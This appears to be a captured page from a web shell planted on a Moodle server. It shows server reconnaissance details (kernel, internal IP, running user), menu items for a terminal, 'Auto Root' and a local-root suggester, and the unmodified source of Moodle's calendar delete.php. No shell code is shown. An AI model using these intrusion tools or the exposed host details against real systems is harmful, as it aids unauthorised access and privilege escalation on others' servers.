Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
calendar /
Delete
Unzip
Name
Size
Permission
Date
Action
classes
[ DIR ]
drwxr-sr-x
2017-06-22 16:06
tests
[ DIR ]
drwxr-sr-x
2017-06-22 16:06
type
[ DIR ]
drwxr-sr-x
2017-06-22 15:50
yui
[ DIR ]
drwxr-sr-x
2017-06-22 15:50
delete.php
4.56
KB
-rw-r--r--
2017-06-22 16:06
event.php
7.67
KB
-rw-r--r--
2017-06-22 16:06
event_form.php
8.07
KB
-rw-r--r--
2017-06-22 16:06
export.php
7.42
KB
-rw-r--r--
2017-06-22 16:06
export_execute.php
11.14
KB
-rw-r--r--
2017-06-22 16:06
externallib.php
20.13
KB
-rw-r--r--
2017-06-22 16:06
index.php
116
B
-rw-r--r--
2017-06-22 16:06
lib.php
130.69
KB
-rw-r--r--
2017-06-22 16:06
managesubscriptions.php
4.77
KB
-rw-r--r--
2017-06-22 16:06
managesubscriptions_form.php
6.45
KB
-rw-r--r--
2017-06-22 16:06
renderer.php
30.75
KB
-rw-r--r--
2017-06-22 16:06
set.php
4.04
KB
-rw-r--r--
2017-06-22 16:06
upgrade.txt
1.14
KB
-rw-r--r--
2017-06-22 16:06
view.php
7.62
KB
-rw-r--r--
2017-06-22 16:06
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file is part of the Calendar section Moodle * It is responsible for deleting a calendar entry + optionally its repeats * * @copyright 2009 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package calendar */ require_once('../config.php'); require_once($CFG->dirroot.'/calendar/event_form.php'); require_once($CFG->dirroot.'/calendar/lib.php'); require_once($CFG->dirroot.'/course/lib.php'); require_once($CFG->dirroot.'/calendar/renderer.php'); $eventid = required_param('id', PARAM_INT); $confirm = optional_param('confirm', false, PARAM_BOOL); $repeats = optional_param('repeats', false, PARAM_BOOL); $courseid = optional_param('course', 0, PARAM_INT); $PAGE->set_url('/calendar/delete.php', array('id'=>$eventid)); if(!$site = get_site()) { redirect(new moodle_url('/admin/index.php')); } $event = calendar_event::load($eventid); /** * We are going to be picky here, and require that any event types other than * group and site be associated with a course. This means any code that is using * custom event types (and there are a few) will need to associate thier event with * a course */ if ($event->eventtype !== 'user' && $event->eventtype !== 'site') { $courseid = $event->courseid; } $course = $DB->get_record('course', array('id'=>$courseid)); require_login($course); if (!$course) { $PAGE->set_context(context_system::instance()); //TODO: wrong } // Check the user has the required capabilities to edit an event if (!calendar_edit_event_allowed($event)) { print_error('nopermissions'); } // Count the repeats, do we need to consider the possibility of deleting repeats $event->timedurationuntil = $event->timestart + $event->timeduration; $event->count_repeats(); // Is used several times, and sometimes with modification if required $viewcalendarurl = new moodle_url(CALENDAR_URL.'view.php', array('view'=>'upcoming')); $viewcalendarurl->param('time', $event->timestart, '%Y'); // If confirm is set (PARAM_BOOL) then we have confirmation of initention to delete if ($confirm) { // Confirm the session key to stop CSRF if (!confirm_sesskey()) { print_error('confirmsesskeybad'); } // Delete the event and possibly repeats $event->delete($repeats); // If the event has an associated course then we need to include it in the redirect link if (!empty($event->courseid) && $event->courseid > 0) { $viewcalendarurl->param('course', $event->courseid); } // And redirect redirect($viewcalendarurl); } // Prepare the page to show the confirmation form $title = get_string('deleteevent', 'calendar'); $strcalendar = get_string('calendar', 'calendar'); $PAGE->navbar->add($strcalendar, $viewcalendarurl); $PAGE->navbar->add($title); $PAGE->set_title($site->shortname.': '.$strcalendar.': '.$title); $PAGE->set_heading($COURSE->fullname); echo $OUTPUT->header(); echo $OUTPUT->box_start('eventlist'); // Delete this event button is always shown $url = new moodle_url(CALENDAR_URL.'delete.php', array('id'=>$event->id, 'confirm'=>true)); $buttons = $OUTPUT->single_button($url, get_string('delete')); // And add the cancel button. $buttons .= $OUTPUT->single_button($viewcalendarurl, get_string('cancel')); // And show the buttons and notes. echo $OUTPUT->box_start('generalbox', 'notice'); echo html_writer::tag('p', get_string('confirmeventdelete', 'calendar', format_string($event->name))); // If there are repeated events then add a Delete Repeated button. if (!empty($event->eventrepeats) && $event->eventrepeats > 0) { $url = new moodle_url(CALENDAR_URL.'delete.php', array('id'=>$event->repeatid, 'confirm'=>true, 'repeats'=>true)); $buttons .= $OUTPUT->single_button($url, get_string('deleteall')); echo html_writer::tag('p', get_string('youcandeleteallrepeats', 'calendar', $event->eventrepeats)); } echo $OUTPUT->box($buttons, 'buttons'); echo $OUTPUT->box_end(); echo $OUTPUT->box_end(); echo $OUTPUT->footer();